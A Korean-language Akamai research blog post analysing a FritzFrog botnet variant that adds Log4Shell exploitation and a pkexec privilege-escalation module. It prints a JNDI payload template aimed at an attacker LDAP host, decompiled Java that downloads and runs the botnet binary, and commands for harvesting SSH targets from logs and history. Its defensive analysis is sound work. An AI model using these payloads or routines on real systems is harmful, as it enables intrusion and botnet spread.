클라우드 컴퓨팅이 필요하신가요? 지금 시작해보세요

새로운 무기를 도입한 FritzFrog 봇넷

Ori David

에 의해 작성

Ori David

February 01, 2024

Ori David

에 의해 작성

Ori David

Ori David is a Security Researcher at Akamai. His research is focused on offensive security, malware analysis, and threat hunting. 

Akamai Security Intelligence Group은 2021 Log4Shell 취약점을 악용한 FritzFrog 봇넷의 새로운 변형에 대한 자세한 정보를 밝혀냈습니다.

편집 및 추가 설명: 트리샤 하워드(Tricia Howard)

핵심 요약

  • Akamai Security Intelligence Group(SIG)은 2021 Log4Shell 취약점을 악용한 FritzFrog 봇넷의 새로운 변형에 대한 자세한 정보를 밝혀냈습니다.

  • 그동안 2만 건이 넘는 FritzFrog 공격과 1500명이 넘는 피해자가 나왔습니다.

  • 멀웨어는 취약한 SSH 인증정보에 대한 무차별 대입 공격을 감행해 인터넷 기반 서버를 감염시킵니다. 이제 최신 변형 공격이 감염된 호스트의 여러 시스템 파일을 읽고 가장 취약한 이 공격의 잠재적 표적을 탐지합니다.

  • 가능한 한 많은 취약한 Java 애플리케이션을 표적으로 하는 무차별 대입 공격으로 취약점을 공략합니다.

  • 또한 현재 멀웨어는 CVE-2021-4034, polkit Linux 구성요소의 권한 확대를 악용하는 모듈도 포함합니다. 이 모듈은 취약한 서버에서 멀웨어를 루트로 실행하게 합니다.

  • 이 블로그 게시물에는 FritzFrog 감염을 막기 위한 IOC(Indicator of Compromise) 및 추가 방어 조치가 포함되어 있습니다.

FritzFrog의 배경 정보

Akamai는 이전에 발견한 위협을 비롯해 Akamai의 글로벌 센서 네트워크를 통해 지속적으로 위협을 모니터링하고 있습니다. 특히, FritzFrog 봇넷 ( 2020년에처음 탐지됨)은 AMD 및 ARM 기반 컴퓨터 모두를 지원하기 위해 컴파일된 정교한 Golang 기반 피어투피어 봇넷입니다. 멀웨어는 적극적으로 관리되었으며 기능을 더하고 개선함으로써 지난 몇 년 동안 더욱 정교하게 발전해 왔습니다.

FritzFrog는 이전에 SSH 무차별 대입을 통해 이동하면서 수년 간 수천의 표적을 성공적으로 감염시켰습니다. 감염된 모든 호스트는 FritzFrog 네트워크의 일부가 되어 감염된 피어와 통신하며 정보, 페이로드, 설정을 공유합니다.

일관된 유지 관리 덕분에 멀웨어는 Log4Shell 악용 소개등 이 블로그에서 논의하는 내용 외에도 다양한 많은 기능을 무기로 사용합니다. 예를 들어, 탐지 기회를 제한하기 위해 디스크로의 이동을 방지하고 TOR을 통한 통신을 지원하며 심지어 경쟁 멀웨어를 삭제하는 'AntiVirus' 모듈도 갖추고 있습니다.

감염 기법으로 Log4Shell 사용

이전에 FritzFrog는 SSH 무차별 대입을 유일한 감염 기법으로 사용했지만, 지금 멀웨어의 최신 버전은 새로운, Log4Shell 악용을 포함하고 있으며, 업계에서는 이를 'Frog4Shell'이라고 부릅니다.

Log4Shell 취약점은 2021년 12월에 처음 탐지되었으며, 수개월 동안 업계 전반에 걸친 대대적인 패치 작업이 진행되었습니다. 2년이 지난 지금까지도 많은 인터넷 기반 애플리케이션이 이 악용에 여전히 취약합니다.

취약한 인터넷 기반 자산은 심각한 문제지만, FritzFrog는 실제로 내부 호스트와 같은 추가적인 유형의 자산을 리스크에 노출시킵니다. 이 취약점을 처음 발견했을 때 감염의 중대한 리스크 때문에 인터넷 기반 애플리케이션이 제일 먼저 패치 대상이 되었습니다. 반면, 악용 가능성이 낮을 것 같은 내부 컴퓨터는 종종 무시되거나 패치되지 않은 상태로 남아 FritzFrog의 표적이 되었습니다.

확산 루틴의 일부로 멀웨어는 내부 네트워크의 모든 호스트에 연결을 시도합니다. 이 작업은 net__Interface_Addrs 표준 Go 함수를 호출해 도달 가능한 서브넷을 식별하고 각각에서 가능한 주소를 표적으로 삼아 이루어집니다. 그림 1에는 로컬 네트워크의 모든 주소에 연결을 시도하는 멀웨어가 나와 있습니다.

그림 1에는 로컬 네트워크의 모든 주소에 연결을 시도하는 멀웨어가 나와 있습니다. 그림 1: 표적을 탐지하기 위해 로컬 네트워크를 스캔하는 FritzFrog

'고위험군'에 속하는 인터넷 기반 애플리케이션이 패치되었어도 FritzFrog에 의한 네트워크 내 자산의 유출은 패치되지 않은 내부 자산의 악용으로 이어질 수 있습니다.

FritzFrog는 포트 8080, 8090, 8888, 9000에서 HTTP 서버를 조회해 잠재적인 Log4Shell 표적을 탐지합니다. 공격자는 취약점을 트리거하기 위해 취약한 log4j 애프리케이션에서 강제로 페이로드를 포함하는 데이터를 기록하게 만들어야 합니다(표 1).

  ${jndi:ldap://<attacker_address>/<payload>}

표 1: Log4Shell 페이로드 예

취약한 log4j 라이브러리에서 잘못 구문 분석된 이 페이로드는 Java 애플리케이션을 'attacker_address'에 지정된 LDAP 서버로 강제로 연결하고 여기에서 Java 클래스를 다운로드한 후 실행합니다(그림 2).

취약한 log4j 라이브러리에서 잘못 구문 분석된 이 페이로드는 Java 애플리케이션을 'attacker_address'에 지정된 LDAP 서버로 강제로 연결하고 여기에서 Java 클래스를 다운로드한 후 실행합니다(그림 2). 그림 2: 일반적인 Log4Shell 악용 흐름

FritzFrog는 HTTP 헤더를 통해 페이로드를 주입해 이 취약점을 악용하려고 시도합니다(그림 3). 흥미롭게도 특정 HTTP 헤더를 표적으로 하는 대신, FritzFrog는 최대한 많은 헤더를 표적으로 삼습니다.

FritzFrog는 HTTP 헤더를 통해 페이로드를 주입해 이 취약점을 악용하려고 시도합니다(그림 3). 그림 3: 여러 HTTP 헤더에 포함된 FritzFrog Log4Shell 악용

FritzFrog는 하나 이상의 헤더가 애플리케이션에서 기록되기를 바라며 수많은 HTTP 헤더에서 Log4Shell 페이로드를 전송합니다. 이 무차별 대입 악용 접근 방식의 목표는 일반적인 Log4Shell 악용이 광범위한 애플리케이션에 영향을 주는 것입니다.

그림 3에 나온 주입된 페이로드는 애플리케이션을 FritzFrog의 자체 IP 주소로 다시 연결시켜 멀웨어가 자체 LDAP 서버를 호스팅해 악성 Java 클래스를 지원하는 데 사용합니다. 실행되면 Java 클래스가 HTTP를 통해 공격 컴퓨터에 연결되고 'robots.txt' 이름 아래 호스팅된 멀웨어 바이너리를 다운로드합니다(표 2).

  String ff_host_http_server_address = ff_host_http_server_address.trim();
  payload_url = new URL("http://" + ff_host_http_server_address + "/" + 
  ff_username + "/robots.txt");
  payload_url_stream = payload_url.openStream();

표 2: FritzFrog 바이너리를 다운로드하는 디컴파일된 Log4Shell Java 페이로드

'robots.txt' 파일은 'ifconfig' 이름 아래에 저장됩니다. 그리고 Java 클래스는 ifconfig 바이너리를 실행하고 파일을 삭제합니다(표 3).

  FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
  ff_payload_file.write(var2.toByteArray());
  ff_payload_file.close();
  ff_payload_file_exec = new File(paths[counter] + "ifconfig");
  ff_payload_file_exec.setExecutable(true);
  Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
  if (ff_proc.waitFor() == 0) {
    ff_payload_file_exec.delete();
    return;
}

표 3: FritzFrog 바이너리를 실행하는 디컴파일된 Log4Shell Java 페이로드

그림 4에는 FritzFrog에서 이용하는 Log4Shell 악용 흐름이 나와 있습니다.

그림 4에는 FritzFrog에서 이용하는 Log4Shell 악용 흐름이 나와 있습니다. 그림 4: FritzFrog Log4Shell 악용 흐름

SSH 표적 검색 방법

FritzFrog는 Log4Shell 악용을 추가하는 기능 외에도 메인 공격 기법의 표적을 탐지하는 기능(SSH 무차별 대입)을 개선했습니다. 무작위로 생성된 IP 주소를 계속 표적으로 삼으면서 현재 FritzFrog는 각 피해자의 여러 시스템 로그를 열거해 구체적인 SSH 표적을 탐지하려고 시도합니다.

인증 로그

Linux의 auth.log 파일에는 특히 컴퓨터에 대한 연결 정보가 포함되어 있습니다. FritzFrog는 이러한 로그를 스캔하고 IP 주소를 조회해 네트워크의 활성 클라이언트를 표적으로 삼습니다. 멀웨어는 데이터에 접속하기 위해 다음 명령어를 실행합니다.

cat /var/log/auth*

zcat /var/log/auth*

이 명령어는 모든 평문 파일 및 압축된 로그 파일의 내용을 출력합니다.

SSH 알려진 호스트

호스트가 원격 SSH 서버에 연결하면 연결 정보는 자동으로 ~/.ssh/known_hosts 파일에 저장됩니다. FritzFrog는 이러한 호스트의 주소를 추출하고 표적으로 삼습니다.

이를 통해 멀웨어는 활성 및 도달 가능한 SSH 서버 목록을 얻습니다. 또한 이러한 서버는 감염된 서버와 동일한 소유자가 관리할 가능성이 크기 때문에 마찬가지로 취약한 암호를 공유할 수도 있습니다.

이력 파일

Linux 시스템에서 실행되는 모든 명령어는 이력 파일이라는 특정 로그에 저장됩니다. FritzFrog는 다음 명령어를 실행해 이전의 ssh 및 scp 연결을 식별하려고 합니다.

history | grep -E \"(scp|ssh)\"

FritzFrog는 이러한 명령에서 IP 주소를 추출하고 표적으로 삼습니다. 여기에서는 known_hosts 파일과 마찬가지로 활성 및 도달 가능한 SSH 서버 목록을 제공할 수 있습니다.

권한 확대

Akamai에서 확인한 또 다른 변화는, 멀웨어에 권한 확대 기능이 추가된 점입니다. 처음 실행될 때 FritzFrog는 프로세스의 권한을 확인합니다. 실행 사용자가 루트가 아닌 경우 'main_RunBlasty' 함수가 호출됩니다(그림 5).

 실행 사용자가 루트가 아닌 경우 'main_RunBlasty' 함수가 호출됩니다(그림 5). 그림 5: 프로세스가 루트로 실행되지 않고 'main_RunBlasty' 함수를 실행하게 하는 FritzFrog

'RunBlasty' 함수는 'which'' 명령어를 실행하며 시작됩니다. 이 명령어는 시스템에서 다른 명령어의 전체 경로를 찾는 유틸리티입니다(그림 6).

'RunBlasty' 함수는 'which' 명령어를 실행하며 시작됩니다. 이 명령어는 시스템에서 다른 명령어의 전체 경로를 찾는 유틸리티입니다(그림 6). 그림 6: FritzFrog의 'which' 명령어 실행

여기에 나온 것처럼 멀웨어는 pkexec 바이너리의 위치를 찾으려고 합니다. (취약점과 관련된 점을 찾으려고 한다는 점에서 vulneraBELLities라고 불러도 되겠군요.)

그러면 멀웨어에서 자체 실행 파일에 포함된 2개 파일을 추출합니다(그림 7). 해당 파일은 Base64로 인코딩된 gzip 파일에 해당하는 문자열로 저장됩니다. 여기서 추출된 파일은 blastypayload.so입니다.

그러면 멀웨어에서 자체 실행 파일에 포함된 2개 파일을 추출합니다(그림 7). 해당 파일은 Base64로 인코딩된 gzip 파일에 해당하는 문자열로 저장됩니다. 여기서 추출된 파일은 blasty 및 payload.so입니다. 그림 7: 멀웨어 바이너리에 포함된 파일 추출

FritzFrog는 파일을 생성한 후에 blasty 파일을 실행합니다. 이 파일은 C로 작성된 ELF입니다. 해당 코드를 살펴보면 매우 단순합니다. 환경 변수와 약간 상호 작용한 후에 pkexec 파일을 실행합니다(그림 8).

FritzFrog는 파일을 생성한 후 blasty를 실행합니다. 이 파일은 C로 작성된 ELF입니다. 해당 코드를 살펴보면 매우 단순합니다. 환경 변수와 약간 상호 작용한 후에 pkexec를 실행합니다(그림 8). 그림 8: 분해된 blasty 코드

이러한 문자열을 검색하면 이 악용 코드에 도달하게 됩니다 ( CVE-2021-4034). 이 취약점은 polkit Linux 구성요소에서 2022년 Qualys에 의해 공개되었으며, polkit을 실행하는 Linux 컴퓨터에서 권한 확대를 허용할 수 있습니다. 대부분의 Linux 배포에 기본적으로 설치되기 때문에패치되지 않은 많은 컴퓨터는 오늘날 이 CVE에 여전히 취약합니다.

악용은 pkexec 파일이 SUID 프로그램이라는 사실을 악용해 작동합니다. 즉, 취약한 사용자가 실행할 때에도 루트 권한으로 실행됩니다. 이 취약점은 pkexec 파일이 공격자가 제어하는 라이브러리를 강제로 로드하고 실행함으로써 루트로 코드를 실행하게 합니다.

Blasty는 이 취약점을 악용해 pkexec 파일에서 payload.so를 로드해 실행하게 합니다. 그림 9와 같이 이 라이브러리는 프로세스의 uid 및 gid를 0으로 설정하고(즉, 루트) FritzFrog의 바이너리인 root_update 파일을 실행합니다.

그림 9와 같이 이 라이브러리는 프로세스의 uid 및 gid를 0으로 설정하고(즉, 루트) FritzFrog의 바이너리인 root_update를 실행합니다. 그림 9: FritzFrog를 루트로 실행하는 payload.so

또 한 가지 흥미로운 점은 바로 blastypayload.so 모두 AMD64 아키텍처, 심지어 ARM에서 실행되는 FritzFrog 변형에 대해서도 컴파일됩니다. 즉, AMD64 CPU에서 실행되지 않는 모든 컴퓨터에서 악용이 실행되지 않습니다.

방어 회피

FritzFrog는 계속해서 탐지를 회피하고 숨겨진 상태를 유지하기 위한 기법을 사용합니다. 특히 가능하면 디스크로 파일을 삭제하지 않도록 특별히 주의를 기울입니다. 개발자는 이를 위해 2개의 Linux 기능, /dev/shmmemfd_create를 사용합니다.

/dev/shm

첫 번째 기법에서는 /dev/shm 폴더(여기서, shm 항목은 공유 메모리를 의미함)를 사용합니다. 이 폴더는 시스템에서 다양한 프로세스 사이에서 효율적인 통신을 지원하는 디렉터리입니다(그림 10). 일반적인 파일 시스템 폴더와 같이 보이지만 /dev/shm 폴더는 실제로 RAM에 직접 매핑되며, 이 아래에서 생성된 모든 파일은 실제로 디스크로 이동하지 않습니다.

FritzFrog는 이 폴더를 사용해 /dev/shm에서 파일을 쓰고 실행함으로써 파일에 기반하지 않은 실행을 지원합니다. 이 활동을 모니터링하기 위해 Akamai는 멀웨어를 실행하고 inotifywait 유틸리티를 사용해 /dev/shm에서의 파일 작업을 검사합니다. 확인한 바에 따르면, 멀웨어는 이 디렉터리에 여러 파일을 씁니다. 예를 들어, 그림 8에서와 같이 멀웨어는 모든 pkexec 악용 파일을 실행하기 전에 /dev/shm 폴더에 씁니다.

첫 번째 기법에서는 /dev/shm 폴더(shm은 공유 메모리를 의미함)를 사용합니다. 이 폴더는 시스템에서 다양한 프로세스 사이에서 효율적인 통신을 지원하는 디렉터리입니다(그림 10). 그림 10: /dev/shm 디렉터리에 대한 FritzFrog 파일 접속 이벤트 모니터링

memfd_create

두 번째 기법에서는 다음과 같이 man 페이지에서 설명한 memfd_create 함수를 사용합니다.

memfd_create()는 익명의 파일을 생성하고 이를 참조하는 파일 디스크립터를 반환합니다. 이 파일은 일반 파일처럼 작동하며, 수정하거나 자르거나 메모리를 매핑할 수 있습니다.  그러나 RAM에 상주한다는 점에서 일반 파일과는 다릅니다.

이전 기법과 마찬가지로, Akamai는 디스크로 이동하지 않고 파일을 생성하는 간편한 방법을 지원합니다. FritzFrog는 miner 페이로드를 실행할 때 이 기법을 사용합니다(그림 11). 즉, memfd_create 함수에서 생성한 익명의 파일에 페이로드를 쓰고 실행합니다.

FritzFrog는 miner 페이로드를 실행할 때 이 기법을 사용합니다(그림 11). 즉, memfd_create에서 생성한 익명의 파일에 페이로드를 쓰고 실행합니다. 그림 11: memfd_create를 사용해 miner 페이로드를 익명의 파일에 쓰는 FritzFrog

방어

Akamai는 네크워크 세그멘테이션을 사용하고 일반적인 멀웨어 기법과 절차를 탐지하는 두 가지 방어 전략을 추천합니다.

  1. 네트워크 세그먼테이션은 측면 이동의 방지해 FritzFrog의 잠재적 영향을 제한할 수 있습니다. 소프트웨어 기반 세그멘테이션은 비교적 간단한 솔루션으로 장기적인 방어 태세를 구축할 수 있습니다.

  2. Akamai는 다음과 같은 FritzFrog 지표를 검색하기 위해 FritzFrog 탐지 스크립트를 SSH 서버에서 실행합니다.

    a. 이름이 nginx, ifconfig, php-fpm, apache2 또는 libexec인 프로세스 실행, 실행 파일은 더 이상 파일 시스템에 존재하지 않음(아래 참조)

    b. 포트 1234 수신 대기

결론

악용 기법의 전환 추세는 2023년 공격자의 주요 트렌드입니다. 과거에 원데이 및 제로데이 악용은 광범위하게 사용되었으며 기업 정보를 유출시키는 가장 효과적인 방법이었습니다.

FritzFrog가 악용 기술을 새롭게 추가하면서 이러한 트렌드에도 비슷한 변화가 생겼습니다. 이 블로그 게시물에서는 이 변화를 대표하는 Log4Shell 취약점을 악용하는 추가 감염 기법 및 pkexec 악용 모듈과 같은 두 가지 추가된 기능을 다룹니다. 이러한 트렌드는 향후 FritzFrog 버전에서도 계속될 것이라 판단되며, 멀웨어에 악용을 더 추가하는 것은 시간 문제일 뿐입니다.

Akamai SIG는 이 위협을 지속적으로 모니터링하고 다른 위협과 마찬가지로 연구 결과를 게시하겠습니다. FritzFrog에 대한 업데이트 및 기타 최신 보안 리서치를 확인하려면 X(기존의 Twitter)에서 Akamai 보안 연구팀을 팔로우하시기 바랍니다.

IOC

FritzFrog 바이너리

AMD

f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d

ARM

fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291

Log4Shell 페이로드

52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8

'Blasty' pkexec 악용

Blasty

85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01

Payload.so

0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248



Ori David

에 의해 작성

Ori David

February 01, 2024

Ori David

에 의해 작성

Ori David

Ori David is a Security Researcher at Akamai. His research is focused on offensive security, malware analysis, and threat hunting.